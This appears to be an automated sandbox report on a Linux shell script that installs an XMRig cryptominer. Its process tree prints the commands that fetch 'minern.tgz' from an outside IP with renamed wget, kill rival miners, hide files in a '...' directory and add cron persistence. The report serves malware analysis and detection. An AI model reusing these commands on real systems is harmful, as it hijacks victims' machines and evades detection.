Analysis
- max time kernel
5s - max time network
6s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
05/07/2026, 15:27
General
- Target all.sh
- Size 559B
- Sample260705-sv1bbads4s
- SHA256 a99fc2710b0af6f1d0be97a3a380a3dec7ff08b7daa765f6f52944cbdcd3ef48
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Process hiding tool: XHide 1 IoCs
XHide can hide process names and delay detection
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 4 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 3 IoCs
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes
-
/tmp/all.sh/tmp/all.sh1⤵
- Executes dropped EXE
-
/usr/bin/nprocnproc2⤵
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=1"2⤵
- Reads CPU attributes
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep xmrig2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs kill -92⤵
- Reads runtime system information
-
/usr/local/sbin/killkill -93⤵
-
-
/usr/local/bin/killkill -93⤵
-
-
/usr/sbin/killkill -93⤵
-
-
/usr/bin/killkill -93⤵
-
-
/sbin/killkill -93⤵
-
-
/bin/killkill -93⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/usr/bin/cutcut -d: -f62⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/grepgrep x:0: /etc/passwd2⤵
-
-
/bin/chmodchmod +x /root/i2⤵
- File and Directory Permissions Modification
-
-
/root/i./i2⤵
-
-
/bin/rmrm -f i2⤵
-
-
/bin/mkdirmkdir ...2⤵
- Reads runtime system information
-
-
/bin/cpcp /bin/wget www2⤵
- Reads runtime system information
-
-
/bin/cpcp /bin/curl ccc2⤵
-
-
/bin/tartar -zx2⤵
-
/usr/local/sbin/gzipgzip -d3⤵
-
-
/usr/local/bin/gzipgzip -d3⤵
-
-
/usr/sbin/gzipgzip -d3⤵
-
-
/usr/bin/gzipgzip -d3⤵
-
-
/sbin/gzipgzip -d3⤵
-
-
/bin/gzipgzip -d3⤵
-
-
-
/root/.../www./www -qO - 46.151.182.131/minern.tgz2⤵
-
-
/usr/bin/wgetwget -qO - 46.151.182.131/minern.tgz2⤵
-
-
/root/.../.x/x./x2⤵
-
-
/usr/bin/nohupnohup ./a1⤵
- Executes dropped EXE
-
/root/.../.x/a./a1⤵
-
/bin/sh/bin/sh ./a1⤵
- Executes dropped EXE
-
/bin/catcat dir.dir2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
/usr/bin/crontabcrontab cron.d2⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/bin/grepgrep upd2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
/bin/chmodchmod u+x upd2⤵
- File and Directory Permissions Modification
-
-
/root/.../.x/run./run1⤵
-
/usr/bin/nprocnproc2⤵
-
-
/bin/unameuname -m2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
a
bash
cron.d
cron.d
dir.dir
h64
run
ld-linux-x86-64.so.2
libc.so.6
libcom_err.so.2
libcrypto.so.10
libdl.so.2
libgcc_s.so.1
libgssapi_krb5.so.2
libhwloc.so.5
libk5crypto.so.3
libkeyutils.so.1
libkrb5.so.3
libkrb5support.so.0
libltdl.so.7
libm.so.6
libnuma.so.1
libpcre.so.1
libpthread.so.0
libresolv.so.2
librt.so.1
libselinux.so.1
libssl.so.10
libz.so.1
sshd
upd
upd
x
i
tmp.7EK8cP